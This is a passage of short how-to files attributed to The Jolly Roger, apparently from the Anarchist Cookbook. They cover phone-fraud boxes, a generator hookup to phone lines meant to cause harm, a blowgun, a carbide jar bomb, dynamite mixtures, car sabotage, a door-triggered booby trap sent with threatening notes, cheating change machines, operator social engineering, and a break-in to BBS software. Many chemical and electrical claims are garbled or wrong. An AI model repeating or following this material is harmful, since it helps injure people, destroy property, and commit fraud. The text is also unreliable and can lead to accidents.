  3081. ------------------
  3082.  
  3083. WHILE A LONELY FORTRESS MAY SEEM THE PERFECT TARGET, BEWARE!  THE GESTAPO
  3084. HAS BEEN KNOWN TO STAKE OUT FORTRESSES FOR AS LONG AS 6 YEARS ACCORDING TO
  3085. THE
  3086. GRASS ROOTS QUARTERLY.  TO AVOID ANY PROBLEMS, DO NOT USE THE SAME FONES
  3087. REPEATEDLY FOR BOXING, CALLING CARDS, & OTHER EXPERIMENTS.  THE TELCO KNOWS
  3088. HOW
  3089. MUCH MONEY SHOULD BE IN THE COIN BOX AND WHEN ITS NOT THERE THEY TEND TO
  3090. GET
  3091. PERTURBED (READ:  PISSED OFF).
  3092.  
  3093. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  3094.  
  3095.                                           --------Jolly Roger
  3096.  
  3097. p.s. This was originally written back in my old Apple ][ days,
  3098. hence the upper case. I just did not think I should waste the
  3099. little time I have to work on this shit converting it to lower-
  3100. case. Hell, I thought 80-columns was pretty nice of me.. heh heh.
  3101. Well, enjoy this and the rest of this Cookbook! ---------JR
  3102.  
  3103.  
  3104. Black Box Plans                                 by The Jolly Roger
  3105.  
  3106. Introduction:
  3107. ------------
  3108. At any given time, the voltage running through your phone is about 20
  3109. Volts. When someone calls you, this voltage goes up to 48 Volts and rings
  3110. the bell. When you answer, the voltage goes down to about 10 Volts.
  3111. The phone company pays attention to this. When the voltage drops to 10,
  3112. they start billing the person who called you.
  3113.  
  3114. Function:
  3115. --------
  3116. The Black Box keeps the voltage going through your phone at 36 Volts,
  3117. so that it never reaches 10 Volts. The phone company is thus fooled
  3118. into thinking you never answered the phone and does not bill the caller.
  3119. However, after about a half hour the phone company will get suspicious
  3120. and disconnect your line for about 10 seconds.
  3121.  
  3122. Materials:
  3123. ---------
  3124.  
  3125.  
  3126. 1 1.8K 1/2 Watt Resistor
  3127. 1 1.5V LED
  3128. 1 SPST Switch
  3129.  
  3130. Procedure:
  3131. ---------
  3132. (1) Open your phone by loosening the two screws on the bottom and
  3133. lifting the case off.
  3134. (2) There should be three wires: Red, Green, and Yellow. We'll be working
  3135. with the Red Wire.
  3136. (3) Connect the following in parallel:
  3137.      A. The Resistor and LED.
  3138.      B. The SPST Switch.
  3139. In other words, you should end up with this:
  3140.               (Red Wire)
  3141.            !---/\/\/\--O--!
  3142. (Line)-----!              !-----(Phone)
  3143.            !-----_/_------!
  3144.           /\/\/\ = Resistor
  3145.           O      = LED
  3146.           _/_    = SPST
  3147.  
  3148. Use:
  3149. ---
  3150. The SPST Switch is the On/Off Switch of the Black Box. When the box is off,
  3151. your phone behaves normally. When the box is on and your phone rings,
  3152. the LED flashes. When you answer, the LED stays on and the voltage
  3153. is kept at 36V, so the calling party doesn't get charged. When the box
  3154. is on, you will not get a dial tone and thus cannot make calls.
  3155. Also remember that calls are limited to half an hour.
  3156.  
  3157.                                       ------------Jolly Roger
  3158.  
  3159. p.s. Due to new Fone Company switching systems & the like, this
  3160. may or may not work in your area. If you live in bumfuck Kentucky,
  3161. then try this out. I make no guarantees! (I never do...) ----JR
  3162.  
  3163. The Infamous Blotto Box!!                       by The Jolly Roger
  3164.  
  3165.         (I bet that NOONE has the balls to build this one!)
  3166.  
  3167. Finally, it is here! What was first conceived as a joke to fool the
  3168. innocent
  3169. phreakers around America has finally been conceived!
  3170. Well, for you people who are unenlightened about the Blotto Box,
  3171. here is a brief summery of a legend.
  3172.  
  3173. --*-=> The Blotto Box <=-*--
  3174.  
  3175. For years now every pirate has dreamed of the Blotto Box. It was at first
  3176. made as a joke to mock more ignorant people into thinking that
  3177. the function of it actually was possible. Well, if you are The Voltage
  3178. Master, it is possible. Originally conceived by King Blotto of much fame,
  3179. the Blotto Box is finally available to the public.
  3180. NOTE: Jolly Roger can not be responsible for the information disclosed
  3181. in the file! This file is strictly for informational purposes and
  3182. should not be actually built and used! Usage of this electronical impulse
  3183. machine could have the severe results listed below and could result in
  3184.  
  3185.  
  3186. high federal prosecution! Again, I TAKE NO RESPONSIBILITY!
  3187. All right, now that that is cleared up, here is the basis of the box
  3188. and it's function.
  3189. The Blotto Box is every phreaks dream... you could hold AT&T down on its
  3190. knee's with this device. Because, quite simply, it can turn off the phone
  3191. lines everywhere. Nothing. Blotto. No calls will be allowed out of an area
  3192. code, and no calls will be allowed in. No calls can be made inside it for
  3193. that matter. As long as the switching system stays the same, this box will
  3194. not stop at a mere area code. It will stop at nothing. The electrical
  3195. impulses that emit from this box will open every line. Every line will
  3196. ring and ring and ring... the voltage will never be cut off until the
  3197. box/generator is stopped. This is no 200 volt job, here.
  3198. We are talking GENERATOR. Every phone line will continue to ring, and
  3199. people
  3200. close to the box may be electricuted if they pick up the phone.
  3201. But, the Blotto Box can be stopped by merely cutting of the line or
  3202. generator.
  3203. If they are cut off then nothing will emit any longer. It will take
  3204. a while for the box to calm back down again, but that is merely a
  3205. superficial aftereffect. Once again: Construction and use of this box is
  3206. not advised! The Blotto Box will continue as long as there is
  3207. electricity to continue with.
  3208. OK, that is what it does, now, here are some interesting things for you
  3209. to do with it...
  3210.  
  3211. -*-=>Blotto Functions/Installin'<=-*-
  3212.  
  3213. Once you have installed your Blotto, there is no turning back. The
  3214. following are the instructions for construction and use of this box.
  3215. Please read and heed all warnings in the above section before you attempt
  3216. to construct this box.
  3217.  
  3218. Materials:
  3219.   - A Honda portable generator or a main power outlet like in a
  3220.     stadium or some such place.
  3221.   - 400 volt rated coupler that splices a female plug into a
  3222.     phone line jack.
  3223.   - A meter of voltage to attach to the box itself.
  3224.   - A green base (i.e. one of the nice boxes about 3' by 4' that
  3225.     you see around in your neighborhood. They are the main switch
  3226.     boards and would be a more effective line to start with.
  3227.     or: A regular phone jack (not your own, and not in your area
  3228.     code!
  3229.   - A soldering iron and much solder.
  3230.   - A remote control or long wooden pole.
  3231. Now. You must have guessed the construction from that. If not, here goes,
  3232. I will explain in detail. Take the Honda Portable Generator and all of
  3233. the other listed equiptment and go out and hunt for a green base. Make
  3234. sure it is one on the ground or hanging at head level from a pole,
  3235. not the huge ones at the top of telephone poles. Open it up with anything
  3236. convienent, if you are two feeble that fuck don't try this.
  3237. Take a look inside... you are hunting for color-coordinating lines of
  3238. green and red. Now, take out your radio shack cord and rip the meter thing
  3239. off. Replace it with the voltage meter about. A good level to set the
  3240. voltage to is about 1000 volts. Now, attach the voltage meter to the cord
  3241. and set the limit for one thousand. Plug the other end of the cord
  3242. into the generator. Take the phone jack and splice the jack part off.
  3243. Open it up and match the red and green wires with
  3244.  
  3245.  
  3246. the other red and green wires. NOTE: If you just had the generator on
  3247. and have done this in the correct order, you will be a crispy critter.
  3248. Keep the generator off until you plan to start it up. Now, solder those
  3249. lines together carefully. Wrap duck tape or insultation tape around all
  3250. of the wires. Now, place the remote control right on to the startup
  3251. of the generator. If you have the long pole, make sure it is very long
  3252. and stand back as far away as you can get and reach the pole over.
  3253. NOTICE: If you are going right along with this without reading the file
  3254. first, you still realize now that your area code is about to become
  3255. null! Then, getting back, twitch the pole/remote control and run for your
  3256. damn life. Anywhere, just get away from it. It will be generating
  3257. so much electricity that if you stand to close you will kill yourself.
  3258. The generator will smoke, etc. but will not stop. You are now killing your
  3259. area code, because all of that energy is spreading through all of the
  3260. phone lines around you in every direction.
  3261.  
  3262. Have a nice day!
  3263.  
  3264. --*-=>The Blotto Box: Aftermath<=-*--
  3265. Well, that is the plans for the most devastating and ultimately deadly
  3266. box ever created. My hat goes off to: King Blotto (for the original idea).
  3267.  
  3268.                                           ---------Jolly Roger
  3269.  
  3270.  
  3271. Blowgun                                         by The Jolly Roger
  3272.  
  3273. In this article I shall attempt to explain the use and manufacture
  3274. of a powerfull blow-gun and making darts for the gun.The possesion of
  3275. the blow gun described in this article IS a felony.
  3276. So be carefull where you use it. I don't want to get you all busted.
  3277.  
  3278. Needed:
  3279.  
  3280. 1. Several strands of yarn (About 2 inches a-piece)
  3281. 2. A regular pencil
  3282. 3. A 2 1/4 inch long needle (hopefully with a beaded head. If not
  3283.    obtainable,wrap tape around end of needle.
  3284. 4. 2-3 1/4 foot pipe. (PVC or Aluminum) Half a inch in diameter
  3285.  
  3286. Constructing the dart:
  3287.  
  3288. 1st- Carefully twist and pull the metal part (Along with eraser)
  3289. of the pencil till it comes off.
  3290. 2nd- Take Pin and start putting about 5-7 Strands of yarn on the pin. Then
  3291. push them up to the top of the pin. But not over the head of the pin (orthe
  3292. tape).
  3293. 3rd- Push pin through the hollow part of the head where the pencil was
  3294. before.
  3295. 4th- That should for a nice looking dart. (see illustration)
  3296.  
  3297.      #####
  3298. >>>>>-----/    #  is the yarn
  3299.                >  is the head of the pencil
  3300.                -  is the pin it-self
  3301.                /  is the head of the pin
  3302.  
  3303. Using the Darts:
  3304.  
  3305.  
  3306.  
  3307. 1st- Now take the finished dart and insert it in the tube
  3308. (if it is too small put on more yarn.)
  3309. 2nd- Aim the tube at a door, wall, sister, ect.
  3310. 3rd- blow on the end of the pipe.
  3311. 4th- Sometimes the end of the pipe may be sharp. When this happens I
  3312. suggest you wrap it with some black electrician tape.It should feel
  3313. a lot better.
  3314.                                 -------Jolly Roger
  3315.  
  3316. Brown Box Plans                                 by The Jolly Roger
  3317.  
  3318. This is a fairly simple mod that can be made to any phone. All it does
  3319. is allow you to take any two lines in your house and create a party
  3320. line. So far I have not heard of anyone who has any problems
  3321. with it. There is one thing that you will notice when you are
  3322. one of the two people who is called by a person with a brown box. The other
  3323. person will sound a little bit faint. I could overcome this with some
  3324. amplifiers but then there wouldn't be very many of these made [Why not?].
  3325. I think the convenience of having two people on the line at once will
  3326. make up for any minor volume loss.
  3327.  
  3328. Here is the diagram:
  3329. ---------------------------------------
  3330. KEY:___________________________________
  3331.     |  PART               | SYMBOL    |
  3332.     |---------------------------------|
  3333.     | BLACK WIRE          |   *       |
  3334.     | YELLOW WIRE         |   =       |
  3335.     | RED WIRE            |   +       |
  3336.     | GREEN WIRE          |   -       |
  3337.     | SPDT SWITCH         |  _/_      |
  3338.     |                        _/_      |
  3339.     | VERTICAL WIRE       |   |       |
  3340.     | HORIZONTAL WIRE     |   _       |
  3341.     -----------------------------------
  3342.           *    =    -    +
  3343.           *    =    -    +
  3344.           *    =    -    +
  3345.           *    =    -    +
  3346.           *    =    -    +
  3347.           *    ==_/_-    +
  3348.           *******_/_++++++
  3349.           |              |
  3350.           |              |
  3351.           |              |
  3352.           |              |
  3353.           |              |
  3354.           |              |
  3355.           |_____PHONE____|
  3356.  
  3357.                                 ------------Jolly Roger
  3358.  
  3359. Calcium Carbide Bomb                            by The Jolly Roger
  3360.  
  3361. This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some
  3362. calcium carbide. This is the stuff that is used in carbide lamps and
  3363. can be found at nearly any hardware store. Take a few pieces of this
  3364.  
  3365.  
  3366. stuff (it looks like gravel) and put it in a glass jar with some
  3367. water. Put a lid on tightly. The carbide will react with the water to
  3368. produce acetylene carbonate which is similar to the gas used in
  3369. cutting torches. Eventually the glass with explode from internal
  3370. pressure. If you leave a burning rag nearby, you will get a nice
  3371. fireball!
  3372.                             -----------Jolly Roger
  3373.  
  3374. More Ways to Send a Car to Hell                 by The Jolly Roger
  3375.  
  3376. Due to a lot of compliments, I have written an update to file #14.
  3377. I have left the original intact. This expands upon the original
  3378. idea, and could be well called a sequal. -----JR
  3379.  
  3380. How to have phun with someone else's car.  If you really detest
  3381. someone, and I mean detest, here's a few tips on what to do in your
  3382. spare time.  Move the windshield wiper blades, and insert and glue
  3383. tacks.  The tacks make lovely designs.  If your "friend" goes to
  3384. school with you, Just before he comes out of school.  Light a lighter
  3385. and then put it directly underneath his car door handle.
  3386. Wait...Leave...Listen.  When you hear a loud "shit!", you know he
  3387. made it to his car in time.  Remove his muffler and pour approximately
  3388. 1 Cup of gas in it. Put the muffler back, then wait till their car starts.
  3389. Then you have a cigarette lighter.  A 30 foot long cigarette lighter.
  3390. This one is effective, and any fool can do it.  Remove the top
  3391. air filter. That's it!  Or a oldie but goodie: sugar in the gas tank.
  3392. Stuff rags soaked in gas up the exhaust pipe.  Then you wonder why
  3393. your "friend" has trouble with his/her lungs.  Here's one that takes
  3394. time and many friends.  Take his/her car then break into their house
  3395. and reassemble it, in their living or bedroom.  Phun eh?  If you're
  3396. into engines, say eeni mine moe and point to something and remove it.
  3397. They wonder why something doesn't work. There are so many others, but
  3398. the real good juicy ones come by thinking hard.
  3399.  
  3400.                                     -----------Jolly Roger
  3401.  
  3402. Ripping off Change Machines                     by the Jolly Roger
  3403.  
  3404. Have you ever seen one of those really big changer machines in airports
  3405. laundrymats or arcades that dispense change when you put in your 1 or 5
  3406. dollar bill?  Well then, here is an article for you.
  3407.  
  3408. 1)  Find the type of change machine that you slide in your bill length
  3409. wise, not the type where you put the bill in a tray and then slide the
  3410. tray in!!!
  3411. 2)  After finding the right machine, get a $1 or $5 bill.  Start crumpling
  3412. up into a ball.  Then smooth out the bill, now it should have a very
  3413. wrinkly
  3414. surface.
  3415. 3) Now the hard part.  You must tear a notch in the bill on the
  3416. left side about 1/2 inch below the little 1 dollar symbol (See Figure).
  3417. 4) If you have done all of this right then take the bill and go out the
  3418. machine.  Put the bill in the machine and wait.  What should happen is:
  3419. when you put your bill in the machine it thinks everything is fine.
  3420. When it gets to the part of the bill with the notch cut out, the
  3421. machine will reject the bill and (if you have done it right)
  3422. give you the change at the same time!!! So, you end up getting your bill
  3423. back, plus the change!!  It might take a little practice, but once
  3424.  
  3425.  
  3426. you get the hang of it, you can get a lot of money!
  3427.                   !--------------------------------!
  3428.                   !                                !
  3429.                   ! (1)         /-------\      (1) !
  3430.                   !             !       !          !
  3431.                   !             !  Pic. !          !
  3432.                   ! (1)  /\     \-------/      (1) !
  3433.                   !      !!                        !
  3434.                   !-----/  \-----------------------!
  3435.                           \-------Make notch here. About 1/2 " down from
  3436. (1)
  3437.  
  3438. P.S. Sorry for the "text work" but you should be able to get the
  3439. idea. Have fun!!! -----------------------Jolly Roger
  3440.  
  3441.  
  3442. Clear Box Plans                                 by The Jolly Roger
  3443.  
  3444. The clear box is a new device which has just been invented that can be
  3445. used throughout Canada and rural United States. The clear box works on
  3446. "PostPay" payphones (fortress fones). Those are the payphones
  3447. that don't require payment until after the connection is established.
  3448. You pick up the fone, get a dial tone, dial your number, and then
  3449. insert your money after the person answers.
  3450. If you don't deposit the money then you can not speak to the person on
  3451. the other end because your mouth piece is cut off but not the ear-piece.
  3452. (obviously these phones are nice for free calls to weather or time or
  3453. other such recordings). All you must do is to go to your nearby Radio
  3454. Shack, or electronics store, and get a four-transistor amplifier and a
  3455. telephone suction cup induction pick-up. The induction pick-up would be
  3456. hooked up as it normally would to record a conversation, except
  3457. that it would be plugged into the output of the amplifier and a
  3458. microphone would be hooked to the input. So when the party
  3459. that is being called answers, the caller could speak through the little
  3460. microphone instead. His voice then goes through the amplifier and out
  3461. the induction coil, and into the back of the receiver where
  3462. it would then be broadcast through the phone lines and the other
  3463. partywould be able to hear the caller. The Clear Box thus
  3464. 'clears up' the problem of not being heard. Luckily, the line will
  3465. not be cut-off after a certain amount of time because it will wait
  3466. forever for the coins to be put in.
  3467. The biggest advantage for all of us about this new clear box is the
  3468. fact that this type of payphone will most likely become very common.
  3469. Due to a few things: 1st, it is a cheap way of getting the DTF,
  3470. dial-tone-first service, 2nd, it doesn't require any special equipment,
  3471. (for the phone company) This payphone will work on any phone line.
  3472. Usually a payphone line is different, but this is a regular phone line
  3473. and it is set up so the phone does all the charging, not the company.
  3474.  
  3475.                               ------------Jolly Roger
  3476.  
  3477. CNA List                               Courtesy of The Jolly Roger
  3478.  
  3479. NPA  TEL NO          NPA  TEL NO
  3480. --------------------------------------
  3481. 201  201-676-7070    601  601-961-8139
  3482. 202  304-343-7016    602  303-293-8777
  3483. 203  203-789-6815    603  617-787-5300
  3484.  
  3485.  
  3486. 204  204-949-0900    604  604-432-2996
  3487. 205  205-988-7000    605  402-580-2255
  3488. 206  206-382-5124    606  502-583-2861
  3489. 207  617-787-5300    607  518-471-8111
  3490. 208  303-293-8777    608  608-252-6932
  3491. 209  415-543-2861    609  201-676-7070
  3492. 212  518-471-8111    612  402-580-2255
  3493. 213  415-781-5271    613  416-443-0542
  3494. 214  214-464-7400    614  614-464-0123
  3495. 215  412-633-5600    615  615-373-5791
  3496. 216  614-464-0123    616  313-223-8690
  3497. 217  217-525-5800    617  617-787-5300
  3498. 218  402-580-2255    618  217-525-5800
  3499. 219  317-265-4834    619  818-501-7251
  3500. 301  304-343-1401    701  402-580-2255
  3501. 302  412-633-5600    702  415-543-2861
  3502. 303  303-293-8777    703  304-344-7935
  3503. 304  304-344-8041    704  912-784-0440
  3504. 305  912-784-0440    705  416-979-3469
  3505. 306  306-347-2878    706  *** NONE ***
  3506. 307  303-293-8777    707  415-543-6374
  3507. 308  402-580-2255    709  *** NONE ***
  3508. 309  217-525-5800    712  402-580-2255
  3509. 312  312-796-9600    713  713-861-7194
  3510. 313  313-223-8690    714  818-501-7251
  3511. 314  314-721-6626    715  608-252-6932
  3512. 315  518-471-8111    716  518-471-8111
  3513. 316  816-275-2782    717  412-633-5600
  3514. 317  317-265-4834    718  518-471-8111
  3515. 318  504-245-5330    801  303-293-8777
  3516. 319  402-580-2255    802  617-787-5300
  3517. 401  617-787-5300    803  912-784-0440
  3518. 402  402-580-2255    804  304-344-7935
  3519. 403  403-425-2652    805  415-543-2861
  3520. 404  912-784-0440    806  512-828-2501
  3521. 405  405-236-6121    807  416-443-0542
  3522. 406  303-293-8777    808  212-334-4336
  3523. 408  415-543-6374    809  212-334-4336
  3524. 409  713-861-7194    812  317-265-4834
  3525. 412  413-633-5600    813  813-228-7871
  3526. 413  617-787-5300    814  412-633-5600
  3527. 414  608-252-6932    815  217-525-5800
  3528. 415  415-543-6374    816  816-275-2782
  3529. 416  416-443-0542    817  214-464-7400
  3530. 417  314-721-6626    818  415-781-5271
  3531. 418  514-725-2491    819  514-725-2491
  3532. 419  614-464-0123    901  615-373-5791
  3533. 501  405-236-6121    902  902-421-4110
  3534. 502  502-583-2861    904  912-784-0440
  3535. 503  206-382-5124    906  313-223-8690
  3536. 504  504-245-5330    907  *** NONE ***
  3537. 505  303-293-8777    912  912-784-0440
  3538. 506  506-648-3041    913  816-275-2782
  3539. 507  402-580-2255    914  518-471-8111
  3540. 509  206-382-5124    915  512-828-2501
  3541. 512  512-828-2501    916  415-543-2861
  3542. 513  614-464-0123    918  405-236-6121
  3543. 514  514-725-2491    919  912-784-0440
  3544.  
  3545.  
  3546. 515  402-580-2255    516  518-471-8111
  3547. 517  313-223-8690    518  518-471-8111
  3548. 519  416-443-0542    900  201-676-7070
  3549.  
  3550. Electronic Terrorism                            by The Jolly Roger
  3551.  
  3552. It starts when a big, dumb lummox rudely insults you.  Being of a
  3553. rational, intelligent disposition, you wisely choose to avoid a
  3554. (direct) confrontation.  But as he laughs in your face, you smile
  3555. inwardly---your revenge is already planned.
  3556. Step 1:  follow your victim to his locker, car, or house.  Once you
  3557. have chosen your target site, lay low for a week or more,
  3558. letting your anger boil.
  3559. Step 2:  in the mean time, assemble your versatile terrorist
  3560. kit(details below.)
  3561. Step 3:  plant your kit at the designated target site on a monday
  3562. morning between the hours of 4:00 am and 6:00 am.  Include a
  3563. calm, suggestive note that quietly hints at the possibility
  3564. of another attack.  Do not write it by hand!  An example of
  3565. an effective note:
  3566.   "don't be such a jerk, or the next one will take off your
  3567.    hand.  Have a nice day."
  3568. Notice how the calm tone instills fear.  As if written by a
  3569. homicidal psychopath.
  3570. Step 5:  choose a strategic location overlooking the target site.  Try
  3571. to position yourself in such a way that you can see his facial contortions.
  3572. Step 6:  sit back and enjoy the fireworks! Assembly of the versatile,
  3573. economic, and effective terrorist kit #1: the parts you'll need are:
  3574. 1) 4 aa batteries
  3575. 2) 1 9-volt battery
  3576. 3) 1 spdt mini relay (radio shack)
  3577. 4) 1 rocket engine(smoke bomb or m-80)
  3578. 5) 1 solar ignitor (any hobby store)
  3579. 6) 1 9-volt battery connector
  3580.  
  3581.  
  3582. Step 1:  take the 9-volt battery and wire it through the relay's coil.
  3583. This circuit should also include a pair of contacts that when
  3584. separated cut off this circuit.  These contacts should be held together
  3585. by trapping them between the locker,mailbox, or car door.
  3586. Once the door is opened, the contacts fall apart and the 9-volt circuit
  3587. is broken, allowing the relay to fall to the closed postion
  3588. thus closing the ignition circuit. (If all this is confusing take a
  3589. look at the schematic below.)
  3590.  
  3591. Step 2:  take the 4 aa batteries and wire them in succession.
  3592. Wire the positive terminal of one to the negative terminal of another,
  3593. until all four are connected except one positive terminal and one negative
  3594. terminal.  Even though the four aa batteries only combine to create 6
  3595. volts, the increase in amperage is necessary to activate the solar
  3596. ignitor quickly and effectively.
  3597.  
  3598. Step 3:  take the battery pack (made in step 2) and wire one end of it
  3599. to the relay's single pole and the other end to one prong of the solar
  3600. ignitor.  Then wire the other prong of the solar ignitor back to the open
  3601. position on the relay.
  3602.  
  3603. Step 4:  using double sided carpet tape mount the kit in his locker,
  3604.  
  3605.  
  3606. mailbox, or car door. And last, insert the solar ignitor into the
  3607. rocket engine (smoke bomb or m-80).
  3608.  
  3609.  
  3610.  
  3611. Your kit is now complete!
  3612.  
  3613.         ---------><---------
  3614.         I    (CONTACTS)    I
  3615.         I                  I
  3616.         I                  -  (BATTERY)
  3617.         I                 ---
  3618.         I                  I
  3619.         I      (COIL)      I
  3620.         ------///////-------
  3621.           /-----------
  3622.          /           I
  3623.         /            I
  3624.        /             I
  3625.    (SWITCH) I        I
  3626.             I        I
  3627.             I       --- (BATTERY)
  3628.             I        -  ( PACK  )
  3629.             I       ---
  3630.             I        I
  3631.             I        I
  3632.             ---- -----
  3633.                I I
  3634.                 *
  3635.          (SOLAR IGNITOR)
  3636.  
  3637.                                ---------Jolly Roger
  3638.  
  3639. How to Start A Conference w/o 2600hz or M-F         by The Jolly Roger
  3640.  
  3641.         (Originally an Apple ][ file, forgive the upper case!)
  3642.  
  3643. THIS METHOD OF STARTING THE CONF. DEPENDS ON YOUR ABILITY TO BULLSHIT THE
  3644. OPERATOR INTO DIALING A NUMBER WHICH CAN ONLY BE REACHED WITH AN OPERATOR'S
  3645. M-F TONES.  WHEN BULLSHITTING THE OPERATOR REMEMBER OPERATOR'S ARE NOT
  3646. HIRED TO THINK BUT TO DO.
  3647.  
  3648. HERE IS A STEP-BY-STEP WAY TO THE CONF.:
  3649. 1. CALL THE OPERATOR THROUGH A PBX OR EXTENDER, YOU COULD JUST CALL ONE
  3650. THROUGH YOUR LINE BUT I WOULDN'T RECOMMEND IT.
  3651. 2. SAY TO THE OPERATOR:
  3652. TSPS MAINTENENCE ENGINEER, RING-FORWARD TO 213+080+1100, POSITION RELEASE,
  3653. THANKYOU.
  3654. (SHE WILL PROBABLY ASK YOU FOR THE NUMBER AGAIN)
  3655.  
  3656. DEFINITIONS: RING-FORWARD - INSTRUCTS HER TO DIAL THE NUMBER.
  3657. POSITION RELEASE - INSTUCTS HER TO RELEASE THE TRUNK AFTER SHE HAS
  3658. DIALED THE NUMBER.
  3659. + - REMBER TO SAY 213PLUS080 PLUS1100.
  3660. 3. WHEN YOU ARE CONNECTED WITH THE CONF. YOU WILL HERE A WHISTLE BLOW
  3661. TWICE AND A RECORDING ASKING YOU FOR YOUR OPERATOR #. DIAL IN ANY FIVE
  3662. DIGITS AND HIT THE POUNDS SIGN A COUPLE OF TIMES. SIMPLY DIAL IN THE #
  3663. OF THE BILLING LINE ECT. WHEN THE RECORDING ASK FOR IT.
  3664.  
  3665.  
  3666. 3. WHEN IN THE CONTROL MODE OF THE CONF. HIT '6' TO TRANSFER CONTROL.
  3667. HIT '001' TO REENTER THE # OF CONFEREE'S AND TIME AMOUNT WHICH YOU
  3668. GAVE WHEN YOU STARED THE CONF. REMEMBER THE SIZE CAN BE FROM
  3669. 2-59 CONFEREE'S. I HAVE NOT FOUND OUT THE 'LENGTHS' LIMITS.
  3670.  
  3671.  
  3672.  
  3673. How to Make Dynamite                            by The Jolly Roger
  3674.  
  3675. Dynamite is nothing more than just nitroglycerin and a stablizing
  3676. agent to make it much safer to use.  For the sake of saving time, I
  3677. will abbreviate nitroglycerin with a plain NG.  The numbers
  3678. are percentages, be sure to mix these carefully and be sure to use the
  3679. exact amounts.  These percentages are in weight ratio, not volume.
  3680.  
  3681. no.  ingredients                 amount
  3682. ---------------------------------------
  3683. #1   NG                          32
  3684.      sodium nitrate              28
  3685.      woodmeal                    10
  3686.      ammonium oxalate            29
  3687.      guncotten                    1
  3688. #2   NG                          24
  3689.      potassium nitrate            9
  3690.      sodium nitate               56
  3691.      woodmeal                     9
  3692.      ammonium oxalate             2
  3693. #3   NG                          35.5
  3694.      potassium nitrate           44.5
  3695.      woodmeal                     6
  3696.      guncotton                    2.5
  3697.      vaseline                     5.5
  3698.      powdered charcoal            6
  3699. #4   NG                          25
  3700.      potassium nitrate           26
  3701.      woodmeal                    34
  3702.      barium nitrate               5
  3703.      starch                      10
  3704. #5   NG                          57
  3705.      potassium nitrate           19
  3706.      woodmeal                     9
  3707.      ammonium oxalate            12
  3708.      guncotton                    3
  3709. #6   NG                          18
  3710.      sodium nitrate              70
  3711.      woodmeal                     5.5
  3712.      potassium chloride           4.5
  3713.      chalk                        2
  3714. #7   NG                          26
  3715.      woodmeal                    40
  3716.      barium nitrate              32
  3717.      sodium carbonate             2
  3718. #8   NG                          44
  3719.      woodmeal                    12
  3720.      anhydrous sodium sulfate    44
  3721. #9   NG                          24
  3722.      potassium nitrate           32.5
  3723.      woodmeal                    33.5
  3724.  
  3725.  
  3726.      ammonium oxalate            10
  3727. #10  NG                          26
  3728.      potassium nitrate           33
  3729.      woodmeal                    41
  3730. #11  NG                          15
  3731.      sodium nitrate              62.9
  3732.      woodmeal                    21.2
  3733.      sodium carbonate              .9
  3734. #12  NG                          35
  3735.      sodium nitrate              27
  3736.      woodmeal                    10
  3737.      ammonium oxalate             1
  3738. #13  NG                          32
  3739.      potassium nitrate           27
  3740.      woodmeal                    10
  3741.      ammonium oxalate            30
  3742.      guncotton                    1
  3743. #14  NG                          33
  3744.      woodmeal                    10.3
  3745.      ammonium oxalate            29
  3746.      guncotton                     .7
  3747.      potassium perchloride       27
  3748. #15  NG                          40
  3749.      sodium nitrate              45
  3750.      woodmeal                    15
  3751. #16  NG                          47
  3752.      starch                      50
  3753.      guncotton                    3
  3754. #17  NG                          30
  3755.      sodium nitrate              22.3
  3756.      woodmeal                    40.5
  3757.      potassium chloride           7.2
  3758. #18  NG                          50
  3759.      sodium nitrate              32.6
  3760.      woodmeal                    17
  3761.      ammonium oxalate              .4
  3762. #19  NG                          23
  3763.      potassium nitrate           27.5
  3764.      woodmeal                    37
  3765.      ammonium oxalate             8
  3766.      barium nitrate               4
  3767.      calcium carbonate             .5
  3768.  
  3769. Household equivalants for chemicles
  3770.  
  3771. It has come to my attention that many of these chemicles are
  3772. sold under brand names, or have household equivalants.  here is a list
  3773. that might help you out. Also, see elsewhere in this Cookbook for
  3774. a more complete listing............
  3775.  
  3776. acetic acid                vinegar
  3777. aluminum oxide             alumia
  3778. aluminum potassium sulfate alum
  3779. aluminum sulfate           alum
  3780. ammonium hydroxide         ammonia
  3781. carbon carbonate           chalk
  3782. calcium hypochloride       bleaching powder
  3783. calcium oxide              lime
  3784.  
  3785.  
  3786. calcium sulfate            plaster of paris
  3787. carbonic acid              seltzer
  3788. carbon tetrachloride       cleaning fluid
  3789. ethylene dichloride        Dutch fluid
  3790. ferric oxide               iron rust
  3791. glucose                    corn syrup
  3792. graphite                   pencil lead
  3793. hydrochloric acid          muriatic acid
  3794. hydrogen peroxide          peroxide
  3795. lead acetate               sugar of lead
  3796. lead tetrooxide            red lead
  3797. magnesium silicate         talc
  3798. magnesium sulfate          Epsom salts
  3799. naphthalene                mothballs
  3800. phenol                     carbolic acid
  3801. potassium bicarbonate      cream of tartar
  3802. potassium chromium sulf.   chrome alum
  3803. potassium nitrate          saltpeter
  3804. sodium dioxide             sand
  3805. sodium bicarbonate         baking soda
  3806. sodium borate              borax
  3807. sodium carbonate           washing soda
  3808. sodium chloride            salt
  3809. sodium hydroxide           lye
  3810. sodium silicate            water glass
  3811. sodium sulfate             glauber's salt
  3812. sodium thiosulfate         photographer's hypo
  3813. sulferic acid              battery acid
  3814. sucrose                    cane sugar
  3815. zinc chloride              tinner's fluid
  3816.  
  3817. Keep this list handy at all times. If you can't seem to get one
  3818. or more of the ingredients try another one.  If you still can't, you
  3819. can always buy small amounts from your school, or maybe from various
  3820. chemical companies.  When you do that, be sure to say as little as
  3821. possible, if during the school year, and they ask, say it's for a
  3822. experiment for school.
  3823.                               -------------Jolly Roger
  3824.  
  3825. Auto Exhaust Flame Thrower                      by The Jolly Roger
  3826.  
  3827. For this one, all you need is a car, a sparkplug, ignition wire and a
  3828. switch. Install the spark plug into the last four or five inches of
  3829. the tailpipeby drilling a hole that the plug can screw into easily.
  3830. Attach the wire (this is regular insulated wire) to one side of the
  3831. switch and to the spark plug. The other side of the switch is attached
  3832. to the positive terminal on the battery. With the car running, simply
  3833. hit the switch and watch the flames fly!!! Again be careful that no
  3834. one is behind you! I have seen some of these flames go 20 feet!!!
  3835.  
  3836.                                -------------Jolly Roger
  3837.  
  3838. Breaking into BBS Express              Courtesy of the Jolly Roger
  3839.  
  3840. If you have high enough access on any BBS Express BBS you can get the
  3841. Sysop's password without any problems and be able to log on as him and do
  3842. whatever you like. Download the Pass file, delete the whole BBS, anything.
  3843. Its all a matter of uploading a text file and d/ling it from the BBS. You
  3844.  
  3845.  
  3846. must have high enough access to see new uploads to do this. If you can see
  3847. a file you just uploaded you have the ability to break into the BBS in a
  3848. few easy steps.
